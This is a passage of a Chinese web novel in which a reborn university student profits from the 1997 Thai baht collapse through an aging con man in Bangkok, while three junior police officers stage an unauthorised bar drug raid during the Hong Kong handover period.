小乌龟蹲在盒子里,脑袋缩进壳里,一动不动。韩学涛蹲下来,手里的啤酒瓶晃了晃,犹豫了一下——不知道乌龟能不能喝酒? 他把瓶口凑近小黑,嘴里念念有词:“小黑,要不要喝酒啊?一个人天天在这趴着,寂不寂寞?你们乌龟会不会喝醉?” 小黑探出脑袋,看了他一眼,又缩回去了。 韩学涛继续说:“如果要喝你就点点头。其实我跟你说,酒没什么好喝的,有一种饮料叫可乐,小黑兄你要是喝过肯定喜欢。下次我带来给你尝尝。龟兄以后你去大海里面混出名堂了,可别忘了以前在宁海大学有个叫韩学涛的接待过你。” “你在干什么?” 韩学涛手里一抖,酒差点洒出来。转头一看,展雪站在天台门口,蓝色蜡染T恤,宽宽松松的衣摆扎进牛仔短裤里,小腿翘生生地露在外面,表情错愕地看着他。 “没、没有。”韩学涛把酒瓶往身后挪,“我刚才在跟小黑商量,问它喝不喝。” 展雪走过来,弯腰看了一眼小黑,又看了一眼他身后的酒瓶:“它又不会说话,还不是你想干嘛就干嘛。” “哎——”韩学涛一脸无辜,“凭我们两个的交情,你就不能相信我的人品?” 展雪没理他,蹲下来用手指轻轻戳了戳小黑的壳:“我说最近怎么老有人喂它,一猜就是你。暴饮暴食,你看它都吃胖了。” 韩学涛凑过去,仔细端详小黑,翻来覆去看了两遍:“哪有吃胖?我感觉跟最开始没什么变化。” 展雪抬头看了他一眼:“发胖这种事情,你能有女生感觉敏锐吗?” 韩学涛无语了,心想行行行,你说胖了就胖了吧。 他把瓶盖起开,递了一瓶给展雪。展雪接过去喝了一口,靠在围栏上,两条腿伸得长长的,月光落在她的蓝色T恤上,蜡染的花纹隐隐发亮。韩学涛也靠过去,两个人并肩靠着围栏,各自喝着酒。 “你今天怎么跑上来了?你不是应该在大礼堂那边演节目?”韩学涛问。 展雪说:“从寒假就开始排练,你以为我们就艺术节上那么两个节目?还有很多上不了艺术节的同学,趁着这次机会让他们在学校公演一下,也不能让人家白练。我们这些上过艺术节的,就不再上了。” 韩学涛说:“那这么重要的活动,你这个文艺部副部长不在大礼堂那边盯着?” 展雪仰头喝了一口:“我已经从学生会辞职了。不想管那边的事。” 韩学涛愣了一下。他想起老谢说的那些话。没想到她动作这么快,七月一号都不到,就辞了。 “你不会就是今天辞的吧?” 展雪点头:“正是。”她偏过头看着韩学涛,晚风吹着她的短发,在额前晃了晃,“你不问问我为什么要辞职吗?” 韩学涛说:“想说就说。” 展雪把目光移开,看向楼下那一片灯火,沉默了片刻:“我觉得费尽心思表演给别人看,没什么意思。不想表演,很虚伪。当时参加学生会,是刚进大学,想体验一下。现在体验过了,觉得后面也没什么值得我体验更久的了。” 韩学涛喝了一口酒,点点头:“体验派。” 展雪没接话,又喝了一口。 “你在嚎叫酒吧那支乐队,体验得怎么样了?”韩学涛问。 “拆伙了。”展雪说,“牛油还在那边混,加入了另一个乐队。子弹去云南了,他姐姐在那边嫁了个壮族人,开饭店,他跑去帮忙。走之前还专程跑到学校来送我礼物。” “送你什么了?” “一个骨头做的挂坠。”展雪说着,手不自觉地摸了一下脖子,那里空空的,“对了,上次我看你玩的那个骨笛呢?” 韩学涛说:“没带过来。那种笛子叫盖纳笛,跟我送你的恰兰戈一样,都是南美那边的乐器。你要喜欢,我送给你好了。没事还能防个身。” 展雪愣了一下:“防身?” 韩学涛说:“到时候你就知道了。” 展雪也没追问。两个人不再说话,酒瓶里的泡沫一点点沉下去。 广场上的大荧幕亮了,白光在夜空中撑开一片明亮的光幕,下面黑压压坐满了学生,有的搬了椅子,有的直接坐在地上,还有人站在最后面,手里举着荧光棒,细小的光点在人群中一闪一闪的。 荧幕上正在播放驻港部队进驻港岛的画面——威尔士亲王军营门口,英军卫队穿着红色的军礼服站得笔直,贝雷帽压得低低的。镜头切到一个中国军官身上,个子不高,但站在那里像钉子钉在地上一样。 他的声音透过荧幕传出来:“我代表驻港部队接管军营。你们可以下岗,我们上岗。祝你们一路平安。” 那一刻,广场上忽然爆发出一阵掌声,此起彼伏的,有人叫好,有人吹口哨,很快连成一片。 第170章 回归第二天 7月2号,大清早,天气闷热。 寝室里的收音机先醒了。 赵江不知道什么时候调好的频道,音量不大不小,刚好把所有人从梦里拽出来。 “昨日,我国港岛地区正式回归祖国怀抱,全国各地放假一天,普天同庆。首都、上海、广州等城市举行了盛大的庆祝活动,晚上天安门广场烟火璀璨,数十万群众载歌载舞……”播音员的声音清亮,带着一股节后余温的亢奋,正在播报昨天的盛况。 于鑫从上铺探出头,眼睛还没完全睁开:“一国两制第一天就看出不一样来了啊——咱们放一天假,港岛放两天假,凭什么呀?” 李靖还蒙在被子里,声音闷闷的:“我们放假了吗?昨天我记得有课啊……” 小巴已经坐起来在穿袜子,头也不抬地对李靖说:“哥,放没放假你不知道吗?咱们还没成为光荣的工人阶级呢,哪有权利放假?” 韩学涛今早要去系里,已经穿戴整齐准备出门。他拍了拍小巴的肩膀:“等你成了工人阶级,搞上996就知道了——还是上学好。” 小巴一愣:“啥是996?” “早上九点上班,晚上九点下班,一周上六天。”韩学涛边说边往外走。 赵江拿着收音机从床上坐起来:“学涛,你说得不对啊。我国从九五年九月一号就已经实行五天工作制了,到现在快两年了。怎么还会有996?” 韩学涛走到门口,回头笑了一下:“自愿加班。” 于鑫一拍床沿,从上铺跳到桌子上:“卧槽!资产阶级这么嚣张?革命不彻底啊!” 韩学涛哈哈一笑,出了寝室。 今天不去上课。系里还有些收尾的活儿要跟大师兄钟磊一一核对——测绘局那边已经完事了,但系里的账目、设备、文档,这些零碎活儿一件都不能少。 而且,今天是个大日子。他随时要等老洪那边的消息,与其坐在教室里心不在焉,不如干脆把手头的事处理干净。从寒假到现在,重生以来赚到的钱全部押了进去。谈不上焦虑,但心里有根弦一直绷着。与其说是压力,不如说是一种说不清道不明的兴奋——比起重生前蹲在班房里,他更早地站到了舞台上。虽然现在还完全不起眼,但这双翅膀,终有一天会扇出点大动静来。 与此同时,螺塘街派出所。 刚上班,马辉就把余兵和刘小勇叫到了楼梯间。 门一关,走廊里的嘈杂声就被隔在了外面。他靠在墙上,从裤兜里摸出一包烟,抽出一根叼在嘴里,又把烟盒朝余兵和刘小勇抖了抖。两人各拿了一根。马辉掏出打火机,“啪”地一声先给自己点上,深吸一口,烟雾从鼻腔里喷出来,在窄小的楼梯间里散开。他把打火机扔给余兵,余兵接住点着了,又递给刘小勇。 三根烟冒着红光。马辉把烟夹在指间,朝两人脸上点了点:“准备好了没有?” 刘小勇吸了口烟,犹豫了一下:“准备是准备了……但是马哥,昨天回归假期才结束,现在就动手,会不会太早了?” 余兵也跟着点头:“是啊。上面通知都说了,要维护回归的团结气氛,稳定治安局面。万一弄出点什么事来,我怕扛不住。而且师傅和所长那边……” 马辉嗤地笑了一声:“正因为港岛刚回归,现在才是最好的机会。”他把烟从嘴里拿下来,“现在动手,叫全力维护回归后的社会稳定。上面要的是成绩,咱们送上去——这叫扯虎皮做大旗。”他又转向刘小勇,“再晚几天,风声过了,这么大的行动,凭咱们三个,想都别想。” 余兵和刘小勇对视一眼,没说话。 马辉把烟叼回嘴里,猛吸一口,吐烟的时候带出一声冷笑:“以前抓赌、拦黑车,咱们什么时候怕过?那时候连转正都还没转呢。只要把犯罪分子抓到手,把案子坐实,谁也奈何不了咱们。大不了挨顿批评,写个检查,继续在学习室里蹲一个月——但这功劳,它跑不了。” 他把烟灰弹在地上,碎成几截:“上次开会你们都听见了,各个派出所新招的全是大学生。就咱们三个这学历,想出人头地——”他顿了顿,目光在两人脸上扫过去,“不拼命,拿什么跟人家争?” 楼梯间里安静了几秒。烟头的红光在昏暗的光线里一明一灭。 余兵狠狠吸了一口,烟头像颗火星子一样亮起来,吐出一口白雾,眼睛里的犹豫慢慢褪去,取而代之的是一股狠劲:“有啥大不了的?舍得一身剐,能把皇帝拉下马。咱们三个光脚的小警察,怕什么?” 刘小勇也抬起头,把烟头往地上一摔:“干了。” 马辉把嘴角的烟摘下来,在墙上摁灭,伸出手,掌心朝下。 余兵的手搭上去,刘小勇的手搭在最上面。马辉用力压了一下,发狠地说:“今天晚上,螺塘派出所的三根土枪——一炮而红。让专案组那帮人,再好好认识认识咱们。” 三个人脑袋凑在一起,嘀嘀咕咕了十几分钟,把晚上的方案过了两遍,马辉才拍了板。 从楼梯间出来,三个人直奔田伟的办公室。 门开着。田伟坐在办公桌后面,手里拿着BP机,眉头拧成了一个疙瘩,眼睛盯着屏幕上那行小字,一动不动,像被什么东西定住了。 三个人在门口愣了一下。马辉先反应过来,笑着走进去,拉了把椅子坐下:“师傅,咋啦?有新案子?” 田伟头都没抬:“有什么案子?这才刚上班,哪个犯罪分子回归第一天就作案?想挨枪子了。” 马辉凑过去看了一眼他手里的BP机:“那看您愁眉苦脸的。” 田伟烦躁地说:“你说这股票,怎么就不涨呢?港岛都回归了,这么大的利好,那些庄家也不知道在搞什么名堂,老压着不让价格上去。” 刘小勇凑过去:“师傅,您的BP机这么高档?还能看股票?” 田伟瞥了他一眼,把BP机举起来,语气里带着点得意:“这是专门的股票机,跟你皮带上那几百块钱的数字机能一样吗?” 余兵哎呦一声,上前凑趣地说:“就是广告上说的那个‘股票随身王’?师傅,您可真有钱呐!亏我们一直觉得您挺清廉的呢。” 田伟抓起桌上的文件夹朝余兵甩了一下:“你们给我滚一边去!我工作多少年?你们工作多少年?懒得跟你们废话。”他把文件夹扔回桌上,“说吧,啥事?” 马辉搓了搓手:“师傅,我们晚上巡逻,想申请用一下所里的警车。” 田伟看了他一眼:“你们巡逻要警车干什么?” “师傅,今天可不止我们巡逻。”马辉说,“今天是回归后上班第一天,夜里局里肯定会到各地巡查。咱们要是有辆警车在街面上转悠,局里看见了,不也好看吗?” 田伟觉得有点道理,说:“那也要走程序,去填个表来。” 马辉笑呵呵地应了一声:“哎,谢谢师傅!” 第171章 清晨,天崩了 老洪住的公寓在湄南河西岸,离市中心不远不近,坐公交车得晃悠四十来分钟。 这片说不上是富人区,但也不算贫民窟。街道两旁种着老榕树,气根垂下来像帘子。楼下有几家华人开的杂货铺和早餐摊,卖豆浆油条,也卖泰式炒粉。生活气息挺浓,周围住着不少华裔,早晚总能听见广东话和潮州话在楼道里此起彼伏。 老洪是从大陆过来的老人,准备参加女儿的婚礼,顺便在这边旅居一阵子,等女儿生了孙子再回国。没人知道他来曼谷之前叫什么,也没人知道他兜里还剩多少钱。 其实,老洪现在是个穷光蛋。 韩学涛那二十万,加上他自己的老本,全搭进去了。 不——还不止。 他还借了一大笔钱,全都砸进了放空泰铢里。如今身上剩下的现金,只够在这座城市里勉勉强强过日子。搬到这间公寓时,他特意挑了个不起眼的地方,楼下卖豆浆的老板娘还以为他是个退休教师。 昨晚他失眠了。躺在床上翻来覆去,脑子里像有一窝蜜蜂嗡嗡叫。爬起来喝了半杯威士忌,快天亮才迷迷糊糊睡着。 可睡了没一会儿,就被吵醒了。 走廊里有人在跑,脚步声咚咚咚地从他门前经过,不止一个人,脚步杂沓又慌乱,像被什么东西追着。老洪睁开眼,看了看床头的闹钟——五点半。窗外天刚蒙蒙亮,曼谷的清晨灰扑扑的,像罩了一层纱。 他骂了一声,翻身坐起来。失眠的人最恨的,就是好不容易睡着了又被吵醒。 他套上一件短袖衬衫,拉开门,一个人影匆匆跑过来,差点撞他身上。是楼下那个会说潮州话的管理员,姓陈,四十出头,平时见谁都笑眯眯的,这会儿脸上全是慌乱。 “阿陈,大清早的你跑什么?” 阿陈脚步一个踉跄,转过身来,嘴巴张了又合,合了又张:“洪叔,你不知道啊?出大事了!”他的声音直发抖,带着一股说不清道不明的慌张。 老洪皱眉:“什么事?” “泰铢——泰铢崩了!”阿陈几乎是喊出来的,“刚才广播里说的,财政部和央行放弃了什么……什么汇率制!电视上已经在播了!” 老洪愣了一下。 然后转身冲回房间。 电视机搁在老旧的柜子上,打开时屏幕闪了几下才亮。 泰国第三频道正在播早间新闻。女主持人穿了身鹅黄色套装,妆容精致,但眼神明显不对。 屏幕下方滚动着一条新闻,泰文的、英文的,交替出现——同一句话,两种语言,翻来覆去地播:泰国财政部与央行联合宣布,放弃与美元的联系汇率制度,改为实行浮动汇率制。他一个字一个字地读了三遍,确认自己没有看错。 电视画面切到了泰国央行门口,记者排着队等采访,还有交易所门口——等着开盘的人已经提前好几个小时排起了长队,像一群受了惊的麻雀。 老洪盯着屏幕,睡意全无。那些泰文和英文字幕像蚂蚁一样爬过屏幕,每一个字、每一个画面都在告诉他同一件事—— 韩学涛说的一切,正在变成现实。 他是怎么知道的? 韩学涛在电话里跟他说过,泰国扛不了多久,应该在港岛回归后不久就会向国际炒家投降。可分析归分析,逻辑归逻辑,再怎么严密、再怎么合理,老洪摸爬滚打了几十年,从来不相信任何人的“分析”。 这小子背后一定有渠道。 不是普通的渠道,是那种层级极高、普通人一辈子连名字都接触不到的渠道。能提前几个月就知道东南亚这边如此准确的消息,这个渠道的层级,高到老洪这辈子都没见过。 他甚至在脑子里勾勒过一张巨大的网络,韩学涛只是冰山一角。自己如今是这张大网的海外代言人——想到这几个字,他后背一阵发烫,像有什么东西从脊椎骨底下往上蹿。 再过几个小时就开盘了。 从这一刻起,每分每秒都是钱。 老洪定了定神,关了电视,下楼去了。 早餐摊上的豆浆正热,油条炸得金黄,咬一口咔嚓响。他坐在塑料凳子上,不紧不慢地吃完,抹了抹嘴,又踱到巷口那家华人理发店。老板是潮汕人,来曼谷三十多年了,国语说得磕磕绊绊,但理发的功夫没落下。 老洪往椅子上一靠,说了句“修短一点”,就闭上了眼。剪子在头顶咔嚓咔嚓地响,碎发落在白围布上,在晨光里看得分明。 理完发他又拐进街角的杂货铺,买了两包泰国本地的龙凤牌香烟,这才慢悠悠地回了公寓。 推开门,重新打开电视,画面里的曼谷已经不是他两小时前下楼时的曼谷了...... 交易所门口从清晨五点就开始排长队,人潮从玻璃门一直涌到马路对面,黑压压的一片。有人站着,有人蹲着,有人靠着栏杆抽烟,所有人的脸上都写着同一种表情。 泰国财政部和央行凌晨四点半投下的那颗炸弹,把整个国家从睡梦中炸醒了。放弃与美元的联系汇率制,改为浮动汇率——这句话翻译成民众能听懂的语言就是:泰铢要贬值了! 过去几个月,国际炒家像一群鲨鱼,围着泰铢撕咬。泰国央行在外汇市场上一轮一轮的反击,烧掉了上百亿美元的外汇储备,打光了最后一颗子弹。 现在,他们终于撑不住了。索罗斯把总攻的日子选在七月二号,不是随机的。他要的不仅仅是泰铢的崩溃,他要的是整个东南亚的信心崩塌。 港岛回归,全世界的目光都聚焦在东方。有这件历史性的大事掩盖,人们对东南亚的反应就会慢半拍。 而等各国反应过来,泰铢已经被击穿,多米诺骨牌倒下第一块,一切都来不及了——那时候,所有盯着港岛的人都会看见:一个亚洲国家的金融防线,在一夜之间灰飞烟灭。 这道冲击波,会比任何时候都更具杀伤力。 八点三十分,交易所开盘。 电视镜头切到交易大厅,电子屏上的数字开始跳动。积压了数月的抛售压力像溃堤的洪水,裹着弥漫在空气里的恐慌情绪,几分钟之内就把泰铢兑美元的汇率撕开了一道深不见底的口子。 泰铢的汇率像一块石头从悬崖上滚下去,越滚越快,快得眼睛都追不上。 记者在交易所门口拉住一个刚挤出来的中年男人,那人西装领带全歪了,额头上全是汗,对着镜头说了一句泰语。老洪没听懂全部,但那个颤抖的声音不需要翻译。 老洪坐在电视机前,手指夹着烟,烟灰烧了长长一截也没掉。他看着屏幕上那些数字,胸腔里像有一面鼓在擂,一下一下,震得他手心冒汗。 第172章 老骗子 账户上的数字,从开盘那一刻起,就像坐了火箭似的往上蹿。 每分钟的盈利,都抵得上一个普通人一辈子的积蓄。 而他,挂的是两百倍杠杆。 老洪不敢关电视,也不敢把音量调大,就那么坐着。烟灰终于掉下来,落在裤腿上,烫出一个小洞,他毫无察觉。 电视里,财经频道的评论席上,一个头发花白的经济学家正对着镜头分析这场危机的深远影响,语气严肃。老洪看着他的嘴一张一合,忽然什么也听不见了。眼前模糊起来,他心里一阵阵发酸,竟有些想哭。 他想起父亲。 那时候他还小,只记得父亲被带走时穿着一件灰蓝色的中山装,前胸口袋还插着钢笔。母亲追到门口,被两个戴红袖章的人推了回去。 后来的事,是很多年后别人告诉他的——父亲在劳改农场被一块滚落的石头砸中了头,消息传到家里,母亲当天晚上就上了吊。 那是他最后一次有家的感觉。 而那时,他正在几百里外一所学院的教师宿舍里,在灯下写认罪材料。听到消息后,他坐在桌前沉默了很久,一滴泪都没掉。第二天,他交上去的不是检讨,而是一封揭发信,把批斗过他的人一个个写了进去。 知识分子一旦不要脸,咬起人来比谁都凶。那些被他揭发的人倒了,一批批地倒下去。而他站了起来,作为被改造的典型,从被批斗的人变成了批斗别人的人。胸前戴着红花,在万人大会上念自己的先进事迹材料,掌声如潮水般在操场上空回荡。 那是他这辈子演技最好的几年。 十年后,他从外地赶回来,在一个落满灰的抽屉里找到父母的遗物:两张黑白照片,一本被撕掉封面的户口本,一只没有表链的怀表。他把那几样东西放在桌上,夜里终于哭了出来。在只剩一块门板的单人床上,像一只被捅了一刀却没死透的牲口。 后来他骗了很多钱,从一个城市骗到另一个城市,从一群人骗到另一群人。他在这条路上越走越远,始终觉得自己是被时代抛在身后的孤魂野鬼。 那些钱进进出出,留下过,又流走了,像水穿过沙子,没在心里留下一丝痕迹。可今天不一样。今天赚到的每一分钱,都来自一个他从未真正触碰过的世界——只有数字,残酷的、冰冷的、跳动的数字,庞大到让人头皮发麻。 他仿佛触碰到一个更高更大的世界。它不会因为你穷就同情你,也不会因为你富就讨好你,它只认一样东西——你站在哪一边。你赌对了,就是对了。在这个世界里,父亲是右派还是左派,他写过认罪材料还是立功材料,他叫洪什么或者不叫洪什么,都无关紧要。 老洪吸了一口烟,烟头在指间亮了一下,灰白色的烟雾从鼻孔里喷出来,在电视的蓝光中散开。他的手指不那么颤了,眼眶却渐渐热了起来。 他眨了眨眼,把那股潮气压了下去。还不到哭的时候,钱还没落袋。他把烟叼在嘴里,眯着眼,继续盯着屏幕上还在往下跳的数字——那面数字从灰色变成暗红色,又从暗红色烧成了一片翻腾的火海。 ...... 中午,电话响了。 韩学涛看了一眼来电显示,接起来。 “喂——听得到吗?喂——” 那头老洪的声音像从水底传上来的,断断续续,夹着沙沙的电流声。 韩学涛从走廊走到楼梯间,从楼梯间走到楼道尽头,信号始终没好到哪去。最后他推开门,快步走到留学生宿舍楼下,又上了三楼,信号才勉强稳住。 “泰铢崩了,开盘就崩了,一直往下跌,还在跌,没停——”老洪的声音终于连贯起来。 韩学涛一边开门,一边喊:“平仓。不等了,明天就把仓位全平出来。” 电话那头沉默了一瞬。 “平仓?还在跌!你看见了吗?一直在跌!多米诺骨牌,第一张倒了,后面的全得跟着倒——泰国的今天,就是印尼的明天,就是马来的后天!我们现在应该追,追印尼,追马来,这波行情才刚刚开始!”老洪急切地喊了出来。 韩学涛没有立刻回答。远处的楼梯间传来脚步声,一下一下的。 他开门进屋,四周一静,握着手机贴在耳边,隔着几千公里,能听见老洪急切的喘气声。 “不放空了。”他说。 老洪愣了一下。 “已经够了。”韩学涛把手机换到另一只手上,转过身,面朝走廊尽头的窗户。窗外阳光白花花地照进来,打在脸上,热得发烫,“不要跟在车屁股后面吃尾气。等他们管制汇率的时候,咱们的钱就出不来了。准备去印尼,去马来——那里才是我们第二步的机会。” 老洪没再争。 这一瞬间,他冷静了下来。 他见过韩学涛做决定的风格,不像这个年纪的人该有的——不急,不躁,不解释第二遍。说完了就是完了。 “再联系!” 挂了电话。韩学涛的嗓子已经哑了。凉水咕咚咕咚地灌满杯子,端起来呼噜呼噜地喝了半杯。水从喉咙流下去,凉意从胸腔里散开,心中一阵畅快! 下午泰铢还会继续跌。市场上全是恐慌卖盘,洪水一样从每一个交易窗口往外涌。他那点资金扔进这片汪洋大海里,连一朵浪花都溅不起来,不会有任何人在意。 这正是他想要的效果。 他太了解这帮国际炒家的手法了。这群人的打法从来不是死磕到底,而是在市场崩溃的最高潮从容离场,接着转战下一个战场。南韩,港岛——那盘棋他已经懒得跟了。 他要走的是一条完全不同的路。 而这条路,需要一个站在东南亚地面上的人,一个随时可以拿起电话、随时可以走进任何一家银行、随时可以和任何肤色的人坐下来谈生意的人——一个老骗子,一个在风里浪里翻腾了几十年、却始终没有沉到底的老骗子。 接下来,就是你光芒四射的时候了。 第173章 摇身一变 下午,泰铢跌得更凶了。 开盘时还在25泰铢,一路跌到32.6,贬值超过三成。卖盘从四面八方涌过来,没有接盘,也没有买家,只剩下恐慌。 汇率就像一块从悬崖边滚落的石头,越滚越快,到收盘前已经逼近33泰铢——一天之内,跌掉了将近三成。 三成。无数人的积蓄、养老金、企业运转资金,就在这几个小时里蒸发了。 老洪关了电视,站起来,在屋里站了片刻,然后拿起桌上的钱包和护照,出了门。 他在楼下拦了一辆突突车,到了航空公司售票处,径直进去买了一张明天飞往雅加达的机票。没问价,也没犹豫,接过票就走了。 从售票处出来,路过一家银行。门口的长队从玻璃门一直排到人行道上,拐了个弯,又沿着墙根延伸了几十米。人群中,有人蹲着,有人站着,有人不停地看着表,但没有人在说话。所有人都在沉默,嘴唇紧闭,目光死死地盯着银行那扇紧闭的门。 玻璃门上贴着一张泰文告示,老洪没全看懂,但意思大概猜得到——每人每日取款有限额。具体数字被前面一个人的脑袋挡住了。 他沿着街继续往前走。走了一段,看见前面围了一群人,黑压压的,里三层外三层,把整段人行道堵得水泄不通。 老洪站在人群外面,踮起脚往里看了一眼——没有看得太清,只看见人群最中心,一块深色的布盖在什么东西上面,布的边缘放着一束黄白色的花。有人在哭,哭声断断续续地从人群里传出来。 “有人跳楼了。”旁边一个背着双肩包的年轻人用英语说,像是在跟身边的人解释,又像是在自言自语。 老洪站在人群外叹了口气,然后绕过去了。 回到公寓,老洪直接去找阿陈。 “阿陈,退租。不住了。” 阿陈愣了一下,把茶杯放下,站起来:“洪伯,不是说等女儿生孩子吗?怎么这就要走了?” 老洪把钥匙放在桌上,叹了口气:“太乱了,太乱了。刚才去银行取钱,排了半天队,急死个人。还是早点回家吧,钓钓鱼,打打牌,比这儿自在。” 阿陈从抽屉里拿出账单,嘴里喃喃地说:“叶落总要归根的嘛。” 手续很快就办完了。老洪把押金揣进口袋,没有回头看那间住了两个月的房间。出门打了辆车,直奔曼谷最贵的酒店。 湄南河边的东方酒店。穿制服的门童拉开门时,微微鞠了一躬。老洪走到前台,把护照往台面上一放:“总统套房。” 前台女生的手指在键盘上跳了几下,抬头时笑容职业而礼貌:“先生,总统套房是每晚七万八千泰铢——” “就这个。” 电梯门打开,走廊里铺着厚厚的地毯,脚踩上去一点声音都没有。推开房门,落地窗外是整个曼谷的天际线,湄南河在脚下蜿蜒而过,阳光透过玻璃洒进来。 老洪把鞋踢掉,走进浴室。热水冲下来的那一刻,他闭着眼睛站了很久。出来的时候,他把自己摔进那张大床上,盯着天花板上的欧式吊灯,不到半分钟,眼皮就沉了下去。 ... 傍晚时分,螺塘街派出所门口。 一辆半新的警车,停在树荫底下。 余兵熄了火。刘小勇从后座底下摸出一个塑料袋,里面装着三桶泡面。 没人说话。 撕包装的声音,倒水的声音,叉子搅面的声音,一声接一声,闷在车里。 三个人低着头,各自对付手里那桶面,吃得稀里呼噜,一口接一口,谁也不看谁。马辉把汤喝得干干净净,连最后一滴都没剩。面桶揉成一团,往窗外一扔:“开车。” 没多久,警车停在矿务局公安处楼下。 刘小勇拉开车门跑进去,过了好一会儿才出来,身后跟着一个穿警服的年轻人,三十出头,方脸膛,步子不快不慢。 刘小勇拉开车门。那人弯腰往里看了一眼,犹豫了一下,还是上了车。 车门一关。他感觉车里气氛不对了——脸上的表情从疑惑转为警觉,嘴角绷了起来:“小勇,什么意思?” 马辉没回头:“艾大华同志,604专案组,调你配合行动。通讯设备,电警棍,先交出来。” 艾大华愣了一下。目光在马辉脸上停了两秒,又扫了一眼余兵,最后落在刘小勇身上。刘小勇避开他的目光,眼睛盯着车顶。 “我没有接到任何通知。你们就这么把我拉上警车扣在这里,说专案组的事——这不合规矩吧?”艾大华看着马辉。 “现在专案组调你配合行动。我就问你一句——你不愿意?”马辉直愣愣地说。 艾大华的嘴唇动了一下。片刻之后,他低头取下传呼机,又从腰间摘下电警棍,放在座椅上。“好,我配合你们。但是回头出了岔子,我不负责。到时候你们派出所得给我们矿务局一个说法。” 马辉把东西收起来:“专案组有组长。等行动结束,你们有疑问,直接去找总局。” 艾大华靠在椅背上:“行。螺塘小马哥,有你这句话就行。” 车子发动,直奔棉一厂。 余兵下去的时候,马辉把车窗摇下来一条缝,点了根烟,慢慢抽。 过了几分钟,余兵从保卫科出来,身后跟着一个半旧警服的中年人,领口的风纪扣敞着。他上车的时候扫了一眼车里的人,目光在艾大华身上停了一下,眉头拧了起来。 “边科长?”马辉叫了一声。 “副的。”边玉文纠正,语气不冷不热。 马辉把刚才的话又说了一遍,这回顺带指了指艾大华:“这是矿务局的艾同志,也是配合我们这次行动的。” 边玉文看了艾大华一眼。艾大华黑着脸不说话。 半晌,他从腰带上摘下传呼机和电警棍。 东西交出去,话也跟着来了,语气里的不满压都压不住:“专案组叫我们配合行动,提前连个行动会议都不开?我现在还一头雾水。到时候出了什么问题,我可不负责。” 马辉把东西收好,语气比刚才对艾大华时多了那么一点客气——但也只是一点:“放心吧。你们两位今天的职责很简单——跟着我们搭把手就好。” 艾大华和边玉文对视了一眼。 看你们能弄出什么幺蛾子。 第174章 小马哥扫毒 警车停在嚎叫酒吧门口。 马辉熄了火,回头看了一眼后座:“今天晚上,抓吸毒的。” 艾大华和边玉文的脸色同时变了。这片地方的酒吧,来的大多是矿务局和棉一厂的子弟。万一揪出个把领导的儿子、关系户的外甥,后续的麻烦可不是写几份检讨就能过去的。 艾大华探过身来:“就咱们这几个人?你闹呢?” 边玉文的火气更大:“提前连个招呼都不打,我们一点准备没有。这么冲进去抓人,这叫什么事?” 艾大华跟着说:“里面那帮小子又混又愣,谁管你穿没穿警服?真打起来,咱们能不能全须全尾地出来都两说。我反对。” 马辉手搭在方向盘上,看着窗外那扇灭了一半的霓虹招牌,语气不咸不淡:“用不着你们进去。外面等着就行。” 他拉开车门下了车。 走到酒吧门口,马辉从腰间摸出一个黑色铁皮罐子,拉开保险环,弯腰从门缝塞了进去。罐子滚进去的瞬间,浓烟涌出来,火警警报器跟着炸响了。 酒吧里的人开始往外涌。有男有女,有人捂着嘴,有人弯着腰,有人不管不顾地推开人就往外冲。 马辉三人堵在门口,眼睛挨个扫。刘小勇率先看到一个长发青年,一把将人拽了出来。那小子满脸油光,两眼通红,目光发直,像喝多了,又比喝多了更迷糊。 “这么大烟,出来也不捂鼻子?”刘小勇问。 那人张了张嘴,半天挤出一个字:“……啊?” 刘小勇伸出食指,点在自己鼻尖上,又移开停在半空:“摸我的手指。” 那人盯着那根手指看了好几秒,才慢慢伸出手,晃了一下,偏了两厘米,又晃了一下,又偏了五厘米,死活碰不上。刘小勇不等他再试,一把抓住他的手腕,手铐咔嗒一声咬死了,把人往警车那边推。 艾大华和边玉文站在车旁,对视了一眼——“摸鼻尖”这是老警察辨别吸毒的土办法。 马辉走过来,朝两人抬了抬下巴:“这人是不是你们厂的?今天请二位来,就是帮忙认人,顺带手帮着问问。要是问出什么来,你们心里先有个数——别回头说我们派出所不讲规矩。” 边玉文弯腰看了一眼那长发青年的脸,直起身,点了点头,没吭声。 后面又有人踉踉跄跄地跑出来。余兵和刘小勇又揪出一个。烟雾渐渐散了,警报还在响,但再没有人往外跑了。 马辉盯着门口等了片刻,朝余兵和刘小勇一扬下巴,三个人推门走进了烟雾还没散尽的酒吧。 里头灯光昏暗,烟雾贴着天花板不走,桌椅歪了一地,酒瓶子碎了几只,空气混浊得发苦。角落里,一个姑娘双手撑着一根柱子,还在一扭一扭地动。这种时候还留在里面的,十有八九是吃了不该吃的东西,神经都麻痹了。 马辉走过去,把她从柱子上拽下来。没费多大劲,这一家就抓了六个。 警车塞满了。马辉从副驾驶探出头,冲还站在路边没上车的两人喊了一声:“拉回去,下一家。” 凌晨四点,电话响了。 付祥民从床上撑起来,看了一眼来电显示——矿务局公安处,程处长。这个点来电话,不会有什么好事。 他接起来,程处长的声音不大,但每个字都带着压不住的火气:“付局长,我知道你们最近成立了专案组。但是在涉及我们矿务局的行动的时候,能不能提前打个招呼?我们兰局长刚才打电话把我一顿臭骂,我到现在都没搞清楚发生了什么事——你说这事搞的。” 付祥民握着听筒,眉头拧紧了。什么意思?专案组有行动?他这个专案组组长怎么不知道? “老程,你能不能把话说清楚点?这大半夜的,我脑子还没清醒呢。” 程处长顿了一下,声音拔高了半个调:“付局,您就别给我揣着明白装糊涂了。螺塘派出所,扫荡酒吧,一晚上抓了几十个,其中有不少都是我们矿务局的子弟。”他喘了口气,“这么大的事,您说您不知道?巧了,他们严所长也不知道。要是他们下面的小民警自己搞的——这样无组织无纪律,我看得清除出警察队伍!” 付祥民心里一个激灵,人直接站了起来。但他很快稳住了,声音不急不慢:“老程,别急。我先问问情况,不是什么大事。大不了我明天亲自去找你们兰局长汇报。” 挂了电话,付祥民把听筒搁在座机上,脸黑得像锅底。不用问,肯定是马辉那小子。打着专案组的招牌擅自行动,连他这个组长都蒙在鼓里。当警察能让你随心所欲?眼睛里还有没有组织,还有没有纪律,还有没有领导? 他伸手去够电话,准备拨螺塘派出所的号码。手指刚搭上转盘,顿了一下,又缩了回来。 他摸出烟,点了一根。烟雾从指间升起,在昏暗的灯光里慢慢散开。 也许这是一个打开突破口的机会...... ... 第二天一早,老洪是被阳光晒醒的。 窗帘没拉,阳光从落地窗外涌进来,把整间屋子照得通亮。他坐在床上愣了半分钟才想起自己在哪儿。掀开被子下了床,光着脚踩在地毯上,走到窗前,湄南河在阳光下一片金黄。 他拿起床头的电话,拨了酒店的总机:“请帮我转贵宾证券交易服务。” 